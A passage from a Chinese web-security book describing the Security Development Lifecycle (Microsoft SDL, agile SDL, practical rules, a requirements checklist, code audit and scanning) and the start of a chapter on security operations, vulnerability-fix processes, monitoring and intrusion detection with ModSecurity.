阶段性成果，这也是我们的下一阶段的目标。我的职责就是终结麻烦，中小网站面临着各种各样的安全问题，面临着各种各样的麻烦——网站被DDOS，网站被入侵，数据被偷走，网站被挂马，杀毒软件报警，网站里垃圾消息满天飞。我们会尽全力解决“麻烦”，我们的安全之路是定制化、平台化的思想，为什么要定制化？我们最开始做安全时，也考虑过购买安全厂商的服务和产品，但是后来发现这些商用的安全服务和产品并不能跟上互联网的节奏，并不能为我们的需求实施定制化解决方案，我们最终选择自己来做。我刚才讲的所有东西都是我们自己做的，每一行代码都是我们自己写的，这就是我们的安全之路。今天就介绍这些，谢谢大家。\n第17章 安全开发流程（SDL）安全开发流程，能够帮助企业以最小的成本提高产品的安全性。它符合“Secure at theSource”的战略思想。实施好安全开发流程，对企业安全的发展来说，可以起到事半功倍的效果。\n17.1 SDL简介SDL的全称是 Security Development Lifecy-cle，即：安全开发生命周期。它是由微软最早提出的，在软件工程中实施，是帮助解决软件安全问题的办法。SDL是一个安全保证的过程，其重点是软件开发，它在开发的所有阶段都引入了安全和隐私的原则。自2004年起，SDL一直都是微软在全公司实施的强制性策略。SDL的大致步骤如下：SDL中的方法，试图从安全漏洞产生的根源上解决问题。通过对软件工程的控制，保证产品的安全性。SDL对于漏洞数量的减少有着积极的意义。根据美国国家漏洞数据库的数据显示，每年发现的漏洞趋势有以下特点：每年有数千个漏洞被发现，其中大多数漏洞的危害程度高，而复杂性却反而较低；这些漏洞多出现于应用程序中，易于被利用的漏洞占了大多数。而美国国家标准与技术研究所（NIST）估计，如果是在项目发布后再执行漏洞修复计划，其修复成本相当于在设计阶段执行修复的30倍。For-rester Research, Inc.和Aberdeen Group研究发现，如果公司采用像Microsoft SDL这样的结构化过程，就可以在相应的开发阶段系统地处理软件安全问题，因此更有可能在项目早期发现并修复漏洞，从而降低软件开发的总成本。微软历来都是黑客攻击的重点，其客户深受安全问题的困扰。在外部环境不断恶化的情况下，比尔·盖茨在2002年1月发布了他的可信任计算备忘录。可信任计算的启动从根本上改变了公司对于软件安全的优先级。来自高级管理层的这项命令将安全定位为Microsoft 最应优先考虑的事情，为实现持续稳定的工程文化变革活动提供了所需的动力。而SDL就是可信任计算的重要组成部分。从上图中可以看到，微软的SDL过程大致分为16个阶段（优化后）。阶段1：培训开发团队的所有成员都必须接受适当的安全培训，了解相关的安全知识。培训的环节在SDL中看似简单，但其实不可或缺。通过培训能贯彻安全策略和安全知识，并在之后的执行过程中提高执行效率，降低沟通成本。培训对象包括开发人员、测试人员、项目经理、产品经理等。微软推荐的培训，会覆盖安全设计、威胁建模、安全编码、安全测试、隐私等方面知识。阶段2：安全要求在项目确立之前，需要提前与项目经理或者产品owner进行沟通，确定安全的要求和需要做的事情。确认项目计划和里程碑，尽量避免因为安全问题而导致项目延期发布——这是任何项目经理都讨厌发生的事情。阶段3：质量门/bug栏质量门和bug栏用于确定安全和隐私质量的最低可接受级别。在项目开始时定义这些标准可加强对安全问题相关风险的理解，并有助于团队在开发过程中发现和修复安全bug。项目团队必须协商确定每个开发阶段的质量门（例如，必须在checkin代码之前进行review并修复所有的编译器警告），随后将质量门交由安全顾问审批，安全顾问可以根据需要添加特定于项目的说明，以及更加严格的安全要求。另外，项目团队需阐明其对安全门的遵从性，以便完成最终安全评析（FSR）。bug栏是应用于整个软件开发项目的质量门，用于定义安全漏洞的严重性阈值。例如，应用程序在发布时不得包含具有“关键”或“重要”评级的已知漏洞。bug栏一经设定，便绝不能放松。阶段4：安全和隐私风险评估安全风险评估（SRA）和隐私风险评估（PRA）是一个必需的过程，用于确定软件中需要深入评析的功能环节。这些评估必须包括以下信息：（1）（安全）项目的哪些部分在发布前需要威胁模型？ （2）（安全）项目的哪些部分在发布前需要进行安全设计评析？ （3）（安全）项目的哪些部分（如果有）需要由不属于项目团队且双方认可的小组进行渗透测试？ （4）（安全）是否存在安全顾问认为有必要增加的测试或分析要求以缓解安全风险？ （5）（安全）模糊测试要求的具体范围是什么？ （6）（隐私）隐私影响评级如何？阶段5：设计要求在设计阶段应仔细考虑安全和隐私问题，在项目初期确定好安全需求，尽可能避免安全引起的需求变更。阶段6：减小攻击面减小攻击面与威胁建模紧密相关，不过它解决安全问题的角度稍有不同。减小攻击面通过减少攻击者利用潜在弱点或漏洞的机会来降低风险。减小攻击面包括关闭或限制对系统服务的访问，应用“最小权限原则”，以及尽可能地进行分层防御。阶段7：威胁建模为项目或产品面临的威胁建立模型，明确可能来自的攻击有哪些方面。微软提出了STRIDE模型以帮助建立威胁模型，这是非常好的做法。阶段8：使用指定的工具开发团队使用的编译器、链接器等相关工具，可能会涉及一些安全相关的环节，因此在使用工具的版本上，需要提前与安全团队进行沟通。阶段9：弃用不安全的函数许多常用函数可能存在安全隐患，应该禁用不安全的函数或API，使用安全团队推荐的函数。阶段10：静态分析代码静态分析可以由相关工具辅助完成，其结果与人工分析相结合。阶段11：动态程序分析动态分析是静态分析的补充，用于测试环节验证程序的安全性。阶段12：模糊测试（Fuzzing Test）模糊测试是一种专门形式的动态分析，它通过故意向应用程序引入不良格式或随机数据诱发程序故障。模糊测试策略的制定，以应用程序的预期用途，以及应用程序的功能和设计规范为基础。安全顾问可能要求进行额外的模糊测试，或者扩大模糊测试的范围和增加持续时间。阶段13：威胁模型和攻击面评析项目经常会因为需求变更等因素导致最终的产出偏离原本设定的目标，因此在项目后期重新对威胁模型和攻击面进行评析是有必要的，能够及时发现问题并修正。阶段14：事件响应计划受SDL要求约束的每个软件在发布时都必须包含事件响应计划。即使在发布时不包含任何已知漏洞的产品，也可能在日后面临新出现的威胁。需要注意的是，如果产品中包含第三方的代码，也需要留下第三方的联系方式并加入事件响应计划，以便在发生问题时能够找到对应的人。阶段15：最终安全评析最终安全评析（FSR）是在发布之前仔细检查对软件执行的所有安全活动。通过FSR将得出以下三种不同结果。 通过FSR。在FSR过程中确定的所有安全和隐私问题都已得到修复或缓解。通过FSR但有异常。在FSR过程中确定的所有安全和隐私问题都已得到修复或缓解，并且/或者所有异常都已得到圆满解决。无法解决的问题将记录下来，在下次发布时更正。需上报问题的FSR。如果团队未满足所有SDL要求，并且安全顾问和产品团队无法达成可接受的折中，则安全顾问不能批准项目，项目不能发布。团队必须在发布之前解决所有可以解决的问题，或者上报高级管理层进行抉择。阶段16：发布/存档在通过FSR或者虽有问题但达成一致后，可以完成产品的发布。但发布的同时仍需对各类问题和文档进行存档，为紧急响应和产品升级提供帮助。从以上的过程可以看出，微软的SDL过程实施非常细致。微软这些年来也一直帮助公司的所有产品团队，以及合作伙伴实施SDL，效果相当显著。在微软实施了SDL的产品中，被发现的漏洞数量大大减少，漏洞利用的难度也有所提高。相对于微软的SDL，OWASP推出了SAMM（Software Assurance MaturityModel），帮助开发者在软件工程的过程中实施安全。SAMM框架图SAMM和微软SDL的主要区别在于，SDL适用于软件开发商，他们以贩售软件为主要业务；而SAMM更适用于自主开发软件的使用者，如银行或在线服务提供商。软件开发商的软件工程往往较为成熟，有着严格的质量控制；而自主开发软件的企业组织，则更强调高效，因此在软件工程的做法上也存在差异。\n17.2 敏捷SDL就微软的SDL过程来看，仍然显得较为厚重。它适用于采用瀑布法进行开发的软件开发团队，而对于使用敏捷开发的团队，则难以适应。敏捷开发往往是采用“小步快跑”的方式，不断地完善产品，并没有非常规范的流程，文档也尽可能简单。这样做有利于产品的快速发布，但是对于安全来说，往往是一场灾难。需求无法在一开始非常明确，一些安全设计可能也会随之变化。微软为敏捷开发专门设计了敏捷SDL。敏捷SDL过程敏捷SDL的思想其实就是以变化的观点实施安全的工作。需求和功能可能一直在变化，代码可能也在发生变化，这要求在实施SDL时需要在每个阶段更新威胁模型和隐私策略，在必要的环节迭代模糊测试、代码安全分析等工作。\n17.3 SDL实战经验对于互联网公司来说，更倾向于使用敏捷开发，快速迭代开发出产品。因此微软的SDL从各方面来看，都显得较为厚重，需要经过一些定制和裁剪才能适用于各种不同的环境。这些年来，笔者根据在公司实施SDL的经验，总结出以下几条准则。准则一：与项目经理进行充分沟通，排出足够的时间。一个项目的安全评估，在开发的不同环节有着不同的安全要求，而这些安全要求都需要占用开发团队的时间。因此在立项阶段与项目经理进行充分沟通是非常有必要的。明确在什么阶段安全工程师需要介入，需要多程，SDL就有可能在这一阶段覆盖到公司的所有项目。相对于测试阶段和发布阶段来说，在立项阶段就有安全团队介入，留给开发团队的反应时间也更加富足。预留出必要的时间，对于项目的时间管理也具有积极意义。否则很容易出现项目快发布了，安全团队突然说还没有实施安全检查的情况。这种情况只能导致两种结果：一是项目因为安全检查而延期发布，开发团队、测试团队的所有人都一起重新做安全检查；二是项目顶着安全风险发布，之后再重新建个小项目专门修补安全问题，而在这段时间内产品只能处于“裸奔”状态。这两种结果都是非常糟糕的，因此为了避免这种情况的发生，在立项初期就应该与项目经理进行充分沟通，留出足够多的时间给安全检查。这是SDL实施成功的基础。准则二：规范公司的立项流程，确保所有项目都能通知到安全团队，避免遗漏。如果根据以往发生的安全事件，回过头来看安全问题是如何产生的，则往往会发现这样一个现象：安全事件产生的原因并不复杂，但总是发生在大家疏忽的一些地方。在实施SDL的过程中，技术方案的好坏往往不是最关键的，最糟糕的事情是SDL并没有覆盖到公司的全部项目，乃至一些边边角角的小项目发布后，安全团队都不知道，最后导致安全事件的发生。如何才能保证公司的所有项目都能够及时通知到安全团队呢？在公司规模较小时，员工沟通成本较低，很容易做到这件事情。但当公司大到一定的规模时，出现多个部门与多个项目组，沟通成本就大大增加。在这种情况下，从公司层面建立一个完善的“立项制度”，就变得非常有必要了。前文提到，SDL是依托于软件工程的，立项也属于软件工程的一部分。如果能集中管理立项过程，SDL就有可能在这一阶段覆盖到公司的所有项目。相对于测试阶段和发布阶段来说，在立项阶段就有安全团队介入，留给开发团队的反应时间也更加富足。准则三：树立安全部门的权威，项目必须由安全部门审核完成后才能发布。在实施SDL的过程中，除了教育项目组成员（如项目经理、产品经理、开发人员、测试人员等）实施安全的好处外，安全部门还需要树立一定的权威。必须通过规范和制度，明确要求所有项目必须在安全审核完成后才能发布。如果没有这样的权威，对于项目组来说，安全就变成了一项可有可无的东西。而如果产品急着发布，很可能因此砍掉或者裁减部分安全需求，也可能延期修补漏洞，从而导致风险升高。这种权威的树立，在公司里需要从上往下推动，由技术总负责人或者产品总负责人确认，安全部门实施。在具体实施时，可以依据公司的不同情况在相应的流程中明确。比如负责产品的质量保障部门，或者负责产品发布的运维部门，都可以成为制度的执行者。当然，“项目必须由安全部门审核完成后才能发布”，这句话并非绝对，其背后的含义是为了树立安全部门的权威。因此在实际实施SDL的过程中，安全也可能对业务妥协。比如对于不是非常严重的问题，在业务时间压力非常大的情况下，可以考虑事后再进行修补，或者使用临时方案应对紧急状况。安全最终是需要为业务服务的。准则四：将技术方案写入开发、测试的工作手册中。对于开发、测试团队来说，对其工作最有效的约束方式就是工作手册。对于开发来说，这个手册可能是开发规范。开发规范涉及的方面比较广，比如函数名的大小写方式、注释的写法等都会涵盖。笔者观察过很多开发团队的规范，其内容鲜有涉及安全的，少量有安全规范的，其内容也存在各种各样的问题。因此，与其事后通过代码审核的方式告知开发者代码存在漏洞，需要修补，倒不如直接将安全技术方案写入开发者的代码规范中。比如规定好哪些函数是要求禁用的，只能使用哪些函数；或者封装好一些安全功能，在代码规范中注明在什么情况下使用什么样的安全API。对于程序员们来说，记住代码规范中的要求，远比记住复杂的安全原理要容易得多。一般来说，程序员们只需要记住如何使用安全功能就行，而不必深究其原理。对于测试人员的要求是类似的。在测试的工作手册中，可以加入安全测试的方法，清楚地列出每一个测试用例，第一步、第二步做什么。这样一些基础的安全测试就可以交由测试人员完成，最后生成一份安全测试报告即可。准则五：给工程师培训安全方案。在微软的SDL框架中，第一项就是培训。培训的作用不可小视，它是技术方案与执行者之间的调和剂。在“准则四”中提到，需要将安全技术方案最大程度地写入代码规范等工作手册中，但同时让开发者有机会了解安全方案的背景也是很有意义的事情。通过培训可以达到这个目的。培训最重要的作用是，在项目开发之前，能够使开发者知道如何写出安全的代码，从而节约开发成本。因为如果开发者未经培训，可能在代码审核阶段会被找出非常多的安全bug，修复每一个安全bug都将消耗额外的开发时间；同时开发者若不能理解这些安全问题，由安全工程师对每个问题进行解释与说明，也是一份额外的时间支出。因此在培训阶段贯彻代码规范中的安全需求，可以极大地节约开发时间，对整个项目组都有着积极的意义，并不是可有可无的事情。准则六：记录所有的安全bug，激励程序员编写安全的代码。为了更好地推动项目组写出安全的代码，可以尝试给每个开发团队设立绩效。被发现漏洞最少的团队可以得到奖励，并将结果公布出来。如此，项目组之间将产生一些竞争的氛围，开发者们将更努力于遵守安全规范，写出安全的代码。此举还能帮助不断提高开发者的代码质量，形成良性循环。以上这六条准则，是笔者在互联网公司中实施SDL的一些经验与心得。互联网公司对产品、用户体验的重视程度非常高，大多数的产品都要求在短时间内发布，因此在SDL的实施上有着自己的特色。在互联网公司，产品开发生命周期大致可以划分为需求分析阶段、设计阶段、开发阶段、测试阶段。下面将就这几个不同的阶段，介绍一些常用的SDL实施方法和工具。\n17.4 需求分析与设计阶段需求分析阶段与设计阶段是项目的初始阶段。需求分析阶段将论证项目的目标、可行性、实现方向等问题。在需求阶段，安全工程师需要关心产品主要功能上的安全强度和安全体验是否足够，主要需要思考安全功能。比如需要给产品设计一个“用户密码取回”功能，那么是通过手机短信的方式取回，还是邮箱取回？很多时候，需要从产品发展的大方向上考虑问题。需要注意的是，在安全领域中，“安全功能”与“安全的功能”是两个不同的概念。“安全功能”是指产品本身提供给用户的安全功能，比如数字证书、密码取回问题等功能。而“安全的功能”，则指在产品具体功能的实现上要做到安全，不要出现漏洞而被黑客利用。比如在“用户取回密码”时常用到的功能：安全问题，这个功能是一个安全功能；但若是在代码实现上存在漏洞，则可能成为一个不安全的功能。在需求分析阶段，可以对项目经理、产品经理或架构师进行访谈，以了解产品背景和技术架构，并给出相应的建议。从以往的经验来看，一份checklist可以在一定程度上帮助到我们。下面是安全专家Lenny Zeltser给出的一份checklist，可以用于参考。#1: BUSINESS REQUIREMENTSBusiness ModelWhat is the application's primary businesspurpose?How will the application make money?What are the planned business milestones fordeveloping or improving the application?How is the application marketed?What key benefits does the application offerusers?What business continuity provisions havebeen defined for the application?What geographic areas does the applicationservice?Data EssentialsWhat data does the application receive, pro-duce, and process?How can the data be classified into categoriesaccording to its sensitivity?How might an attacker benefit from captur-ing or modifying the data?What data backup and retention require-ments have been defined for the application?End‐UsersWho are the application's end‐users?How do the end‐users interact with the ap-plication?What security expectations do the end‐usershave?PartnersWhich third‐parties supply data to the ap-plication?Which third‐parties receive data from theapplications?Which third‐parties process the applica-tion's data?What mechanisms are used to share data withthird‐parties besides the application itself?What security requirements do the partnersimpose?AdministratorsWho has administrative capabilities in the ap-plication?What administrative capabilities does the ap-plication offer?RegulationsIn what industries does the application oper-ate?What security‐related regulations apply?What auditing and compliance regulationsapply?#2: INRASTRUCTURE REQUIREMENTSNetworkWhat details regarding routing, switching,firewalling, and load‐balancing have been de-fined?What network design supports the applica-tion?What core network devices support the appli-cation?What network performance requirements ex-ist?What private and public network links sup-port the application?SystemsWhat operating systems support the applica-tion?What hardware requirements have been de-fined?What details regarding required OS compo-nents and lock‐down needs have been defined?Infrastructure MonitoringWhat network and system performance mon-itoring requirements have been defined?What mechanisms exist to detect maliciouscode or compromised application components?What network and system security monitor-ing requirements have been defined?Virtualization and ExternalizationWhat aspects of the application lend them-selves to virtualization?What virtualization requirements have beendefined for the application?What aspects of the product may or may notbe hosted via the cloud computing model?#3: APPLICATION REQUIREMENTSEnvironmentWhat frameworks and programming lan-guages have been used to create the application?What process, code, or infrastructure depen-dencies have been defined for the application?What databases and application servers sup-port the application?Data ProcessingWhat data entry paths does the applicationsupport?What data output paths does the applicationsupport?How does data flow across the application'sinternal components?What data input validation requirementshave been defined?What data does the application store andhow?What data is or may need to be encrypted andwhat key management requirements have beendefined?What capabilities exist to detect the leakage ofsensitive data?What encryption requirements have been de-fined for data in transit over WAN and LAN links?AccessWhat user identification and authenticationrequirements have been defined?What session management requirementshave been defined?What access requirements have been definedfor URI and Service calls?What user authorization requirements havebeen defined?How are user identities maintained through-out transaction calls?What user access restrictions have been de-fined?What user privilege levels does the applica-tion support?Application MonitoringWhat application performance monitoring re-quirements have been defined?What application security monitoring re-quirements have been defined?What application error handling and loggingrequirements have been defined?How are audit and debug logs accessed,stored, and secured?What application auditing requirements havebeen defined?Application DesignHow many logical tiers group the applica-tion's components?How is intermediate or in process data storedin the application components’ memory and incache?What application design review practiceshave been defined and executed?What staging, testing, and Quality Assurancerequirements have been defined?#4: SECURITY PROGRAM REQUIRE-MENTSOperationsWhat access to system and network adminis-trators have to the application's sensitive data?What security incident requirements havebeen defined?What physical controls restrict access to theapplication's components and data?What is the process for granting access to theenvironment hosting the application?What is the process for identifying and ad-dressing vulnerabilities in network and systemcomponents?How do administrators access production in-frastructure to manage it?What is the process for identifying and ad-dressing vulnerabilities in the application?Change ManagementWhat mechanisms exist to detect violations ofchange management practices?How are changes to the infrastructure con-trolled?How are changes to the code controlled?How is code deployed to production?Software DevelopmentHow do developers assist with troubleshoot-ing and debugging the application?What requirements have been defined forcontrolling access to the applications source code?What data is available to developers for test-ing? What secure coding processes have been es-tablished?CorporateWhich personnel oversees security processesand requirements related to the application?What employee initiation and terminationprocedures have been defined?What controls exist to protect a compromisedin the corporate environment from affecting pro-duction?What security governance requirements havebeen defined?What security training do developers and ad-ministrators undergo?What application requirements impose theneed to enforce the principle of separation of du-ties?What corporate security program require-ments have been defined?此外，在项目需求分析或设计阶段，应该了解项目中是否包含了一些第三方软件。如果有，则需要认真评估这些第三方软件是否会存在安全问题。很多时候，入侵是从第三方软件开始的。如果评估后发现第三方软件存在风险，则应该替换它，或者使用其他方式来规避这种风险。在需求分析与设计阶段，因为业务的多样性，一份checklist并不一定能覆盖到所有情况。check-list并非万能的，在实际使用时，更多的要依靠安全工程师的经验做出判断。一个最佳实践是给公司拥有的数据定级，对不同级别的数据定义不同的保护方式，将安全方案模块化。这样在review项目的需求和设计时，根据项目涉及的数据敏感程度，可以套用不同的等级化保护标准。\n17.5 开发阶段开发阶段是安全工作的一个重点。依据“安全是为业务服务”这一指导思想，在需求层面，安全改变业务的地方较少，因此应当力求代码实现上的安全，也就是做到“安全的功能”。要达到这个目标，首先要分析可能出现的漏洞，并从代码上提供可行的解决方案。在本书中，深入探讨了各种不同漏洞的原理和修补方法。根据这些经验，可以设计一套适用于企业自身开发环境的安全方案。17.5.1 提供安全的函数OWASP的开源项目OWASP ESAPI也为安全模块的实现提供了参考。如果开发者没有把握实现一个足够好的安全模块，则最好是参考OWASPESAPI的实现方式。ESAPI目前有针对多种不同Web语言的版本，其中又以Java版本最为完善。OWASP ESAPI支持的语言下面为Java版本ESAPI的Packages列表，从中可以了解ESAPI实现的功能。ESAPI 2.0.1 API在“Web框架安全”一章中谈到，很多安全功能放到开发框架中实现，会大大降低程序员的开发工作量。这是一种值得推广的经验。在开发阶段，还可以使用的一个最佳实践就是制定出开发者的开发规范，并将安全技术方案写进开发规范中，让开发者牢记开发规范。比如在“Web框架安全”一章中曾提到，在对抗XSS攻击时，需要编码所有的变量再进行渲染输出。为此我们在模板中实现了安全宏：XML编码输出，将会执行 XML Encode输出#SXML($xml)JS编码输出，将会执行JavaScript Encode输出#SJS($js)又比如微软在面对同样问题时，为开发者提供了安全函数库：微软提供的安全函数这些写法需要开发者牢记，因此需要将其写入开发规范中。在代码审核阶段，可以通过白盒扫描的方式检查变量输出是否使用了安全的函数，没有使用安全函数的可以认为不符合安全规范。这个过程也可以由开发者自检。这种申明是非常有必要的。因为如果开发者按照自己的喜好来写，比如自定义一个输出HTML页面的过程，而这个过程的实现可能是不安全的。安全工程师若要审计这样的代码，则需要通读所有的代码逻辑，将耗费巨大的时间和精力。将安全方案写入开发规范中，就真正地让安全方案落了地。这样不仅仅是为了方便开发者写出安全的代码，同时也为代码安全审计带来了方便。17.5.2 代码安全审计工具常见的一些代码审计工具，在面对复杂项目时往往会束手无策。这一般是由两个原因造成的——首先，函数的调用是一个复杂的过程，甚至常有一个函数调用另外一个文件中函数的情况出现。当代码审计工具找到敏感函数如eval()时，回溯函数的调用路径时往往会遇到困难。其次，如果程序使用了复杂的框架，则代码审计工具往往也缺乏对框架的支持，从而造成大量的误报和漏报。代码自动化审计工具的另外一种思路是，找到所有可能的用户输入入口，然后跟踪变量的传递情况，看变量最后是否会走到危险函数（如eval()）。这种思路比回溯函数调用过程要容易实现，但仍然会存在较多的误报。目前还没有比较完美的自动化代码审计工具，代码审计工具的结果仍然需要人工处理。下表列出了一些常见的代码审计工具。代码的自动化审计比较困难，而半自动的代码审计仍然需要耗费大量的人力，那有没有取巧的办法呢？实际上，对于甲方公司来说，完全可以根据开发规范来定制代码审计工具。其核心思想是，并非直接检查代码是否安全，而是检查开发者是否遵守了开发规范。这样就把复杂的“代码自动化审计”这一难题，转化为“代码是否符合开发规范”的问题。而开发规范在编写时就可以写成易于审计的一种规范。最终，如果开发规范中的安全方案没有问题的话，当开发者严格遵守开发规范时，产出的代码就应该是安全的。这些经验对于以Web开发为主的互联网公司来说，具有高度的可操作性。\n17.6 测试阶段测试阶段是产品发布前的最后一个阶段，在此阶段需要对产品进行充分的安全测试，验证需求分析、设计阶段的安全功能是否符合预期目标，并验证在开发阶段发现的所有安全问题是否得到解决。安全测试应该独立于代码审计而存在。“安全测试”相对于“代码审计”而言，至少有两个好处：一是有一些代码逻辑较为复杂，通过代码审计难以发现所有问题，而通过安全测试可以将问题看得更清楚；二是有一些逻辑漏洞通过安全测试，可以更快地得到结果。安全测试，一般分为自动化测试和手动测试两种方式。自动化测试以覆盖性的测试为目的，可以通过“Web安全扫描器”对项目或产品进行漏洞扫描。目前Web安全扫描器针对“XSS”、“SQL In-jection”、“Open Redirect”、“PHP File Include”等漏洞的检测技术已经比较成熟。这是因为这些漏洞的检测方法主要是检测返回结果的字符串特征。而对于“CSRF”、“越权访问”、“文件上传”等漏洞，却难以达到自动化检测的效果。这是因为这些漏洞涉及系统逻辑或业务逻辑，有时候还需要人机交互参与页面流程。因此这类漏洞的检测更多的需要依靠手动测试完成。Web应用的安全测试工具一般是使用Web安全扫描器。传统的软件安全测试中常用到的fuzzing测试（模糊测试），在Web安全测试领域比较少见。从某种程度上来说，Web扫描也可以看做是一种fuzzing。优秀的Web安全扫描器，商业软件的代表有“IBM Rational Appscan”、“WebInspect”、“Acunetix WVS”等；在免费的扫描器中，也不乏精品，比如“w3af”、“skipfish”等。扫描器的性能、误报率、漏报率等指标是考核一个扫描器是否优秀的标准，通过不同扫描器之间的对比测试，可以挑选出最适合企业的扫描器。同时，也可以参考下表所示的一份公开的评测报告，以及业内同行的使用经验。skipfish是Google使用的一款Web安全扫描器，Google开放了其源代码：Google的skipfish扫描结果页面skipfish的性能非常优秀，由于其开放了源代码，且有Google的成功案例在前，因此对于想定制扫描器的安全团队来说，是一个二次开发的上佳选择。安全测试完成以后，需要生成一份安全测试报告。这份报告并不是扫描器的扫描报告。扫描报告可能会存在误报与漏报，因此扫描报告需要经过安全工程师的最终确认。确认后的扫描报告，结合手动测试的结果，最终形成一份安全测试报告。安全测试报告中提到的问题，需要交给开发工程师进行修复。漏洞修补完成后，再迭代进行安全测试，以验证漏洞的修补情况。由此可见，在项目初期与项目经理进行充分沟通，预留出代码审计、安全测试的时间，是一件很重要的事情。\n17.7 小结本章讲述了如何在项目开发的过程中实施SDL（安全开发流程）。SDL是建立在公司软件工程基础之上的，公司的软件工程实施越规范，SDL就越容易实施，反之则难度越大。互联网公司不同于传统软件公司，它更注重产品的快捷与时效性，因此在产品开发的路线上大多选择敏捷开发，这也给SDL的实施带来了一定的难度。SDL需要从上往下推动，归根结底，它仍然是“人”的问题。实施SDL一定要得到公司技术负责人与产品负责人的全力支持，并通过完善软件发布流程、工程师的工作手册来达到目的。SDL实施的成功与否，与来自高级管理层的支持力度有很大关系。\n第18章 安全运营俗话说，安全是“三分技术，七分管理”。安全对于企业来说，结果才是最重要的。安全方案设计完成后，即使看起来再美好，也需要经受实践的检验。在“我的安全世界观”一章中曾经提到，安全是一个持续的过程。而“安全运营”的目的，就是把这个“持续的过程”执行起来。健康的企业安全，需要依靠“安全运营”来保持新陈代谢，保持活力。\n18.1 把安全运营起来互联网公司如何规划自己的安全蓝图呢？从战略层面上来说，Aberdeen Group提到了三句话：Find and Fix，Defend and Defer，Secure at the Source。安全工作的框架图一个安全评估的过程，就是一个“Find andFix”的过程。通过漏洞扫描、渗透测试、代码审计等方式，可以发现系统中已知的安全问题；然后再通过设计安全方案，实施安全方案，最终解决这些问题。而像入侵检测系统、Web应用防火墙，反DDOS设备等则是一些防御性的工作，这也是保证安全必不可少的一个部分。它们能防范问题于未然，或者当安全事件发生后，快速地响应和处理问题。这些防御性的工作，是一个“Defend and De-fer”的过程。最后“Secure at the Source”指的则是“安全开发流程（SDL）”，它能从源头降低安全风险，提高产品的安全质量。这三者的关系是互补的，当SDL出现差错时，可以通过周期性的扫描、安全评估等工作将问题及时解决；而入侵检测、WAF等系统，则可以在安全事件发生后的第一时间进行响应，并有助于事后定损。如果三者只剩其一，都可能使得公司的安全体系出现短板，出现可乘之机。安全运营贯穿在整个体系之中。安全运营需要让端口扫描、漏洞扫描、代码白盒扫描等发现问题的方式变成一种周期性的任务。因为安全是一个持续的过程（在“我的安全世界观”一章中已经强调过这个观点），我们永远无法保证在下一刻网络管理员是否会因为工作疏忽而把SSH端口开放到Internet，或者是某个小项目又逃过了安全检查私自发布上线了。这些管理上的疏忽随时都有可能打破之前辛辛苦苦建立起来的安全防线。假设管理工作和流程是不可靠的，就需要通过安全运营不断地去发现问题，周期性地做安全健康检查，才能让我们放心。这个工作，则是安全运营需要做的“Find”的工作。“Fix”的工作分为两种：一种是例行的扫描任务发现了漏洞，需要及时修补；另一种则是在安全事件发生时，或者是0day漏洞被公布时，需要进行紧急响应。这些工作需要建立制度和流程，并有专门的人对此负责。SDL的工作也可以看成是安全运营的一部分，但由于其与软件工程结合紧密，独立出来也无不可。在安全运营的过程中，必然会与各种安全产品、安全工具打交道。有的安全产品是商业产品，有的则是开源工具，甚至安全团队还需要自主研发一些安全工具，这些安全产品都会产生大量的日志，这些日志对于安全运营来说是非常有价值的。通过事件之间的关联，可以全面地分析出企业的安全现状，并对未来的安全趋势做出一些预警，为决策提供参考意见。将各种安全日志、安全事件关联起来的系统我们称之为SOC（Security Operation Center）。建立SOC可以算是安全运营的一个重要目标。\n18.2 漏洞修补流程建立漏洞修补流程，是在“Fix”阶段要做的第一件事情。当公司规模不大时，沟通成本较低，可以通过口口相传的方式快速解决问题；但当公司规模大了以后，沟通成本随之上升，相应的漏洞修补速度会降低，而只靠沟通还可能会出现一些错漏，所以建立一个“漏洞修补流程”以保证漏洞修补的进度和质量是非常有必要的。最常见的问题是漏洞报告给开发团队后，迟迟未能得到反馈，一拖再拖。这是因为安全漏洞对于开发团队的现有开发计划来说，是一种意外。但这种问题不难解决，因为开发团队一般都会建立bug管理的平台，比如bugtracker等，只需要将安全漏洞作为bug提交到bugtracker中，就会成为开发团队的一个例行修补bug的工作，会按照计划完成。目前许多大的开源项目也是如此处理安全漏洞的，在bug中会定义类型为security，同时还定义了bug的紧急程度。一个bugtracker的截图除此之外，常见的问题还有漏洞修补得不彻底，补丁发布后，被发现漏洞仍然可以利用，这种情况时有发生。通常造成此问题的原因是，补丁的实现方案与代码未经安全部门检查，有时候也有可能是处理问题的安全工程师未能理解漏洞的本质，因此导致修补方案存在缺陷。因此在制定补丁的方案时，首先应该由安全工程师对漏洞进行分析，然后再和开发团队一起制定技术方案，并由安全工程师review补丁的代码，最后才能发布上线。对于“安全运营”的工作来说，建立漏洞修补流程，意味着需要完成这几件事情：（A）建立类似bugtracker的漏洞跟踪机制，并为漏洞的紧急程度选择优先级；（B）建立漏洞分析机制，并与程序员一起制定修补方案，同时review补丁的代码实现；（C）对曾经出现的漏洞进行归档，并定期统计漏洞修补情况。对存在过的漏洞进行归档，是公司安全经验的一种积累。历年来曾经出现过的漏洞，是公司成长的宝贵财富。对漏洞数量、漏洞类型、产生原因进行统计，也可以从全局的角度看到系统的短板在什么地方，为决策提供依据。\n18.3 安全监控安全监控与报警，是“Defend and Defer”的一种有效手段。对于互联网公司来说，由于其业务的高度连续性，所以监控网络、系统、应用的健康程度是一件非常重要的事情。监控能使公司在发生任何异常时第一时间就做出反应。下图为一个开源的监控系统Nagios。其实网站的安全性也是需要监控的。安全监控的主要目的，是探测网站或网站的用户是否被攻击，是否发生了DDOS，从而可以做出反应。安全监控与安全扫描又是什么关系呢？是否有了安全扫描就可以不用安全监控了呢？理论上说，如果一切都是完美的，所有漏洞都可以通过扫描器发现的话，那么可以不需要安全监控。但现实是扫描器难以覆盖到所有漏洞，有时候由于扫描器规则或一些其他的问题，还可能导致漏报。因此安全监控是对网站安全的有力补充。安全监控就像是一双眼睛，能够时刻捕捉到发生的异常情况。\n18.4 入侵检测常见的安全监控产品有IDS（入侵检测系统）、IPS（入侵防御系统）、DDOS监控设备等。在IDS这个大家族中，Web应用防火墙（简称WAF）又是近年来兴起的一种产品。相对于传统的IDS来说，WAF专注于应用层攻击的检测和防御。IDS、WAF等设备一般的布署方式是串联或并联在网络出口处，对网站的所有流量进行监控。在开源的软件中，也有一些优秀的IDS，比如Mod-Security就是一个非常成熟的WAF。ModSecurity是Apache的一个Module，它能获取到所有访问Apache Httpd Server的请求，并根据自己的规则对这些请求进行匹配，以检测哪些请求存在攻击行为。ModSecurity的架构图ModSecurity的规则几乎囊括了所有的Web攻击行为，其核心规则由社区的安全专家维护。……SecRule 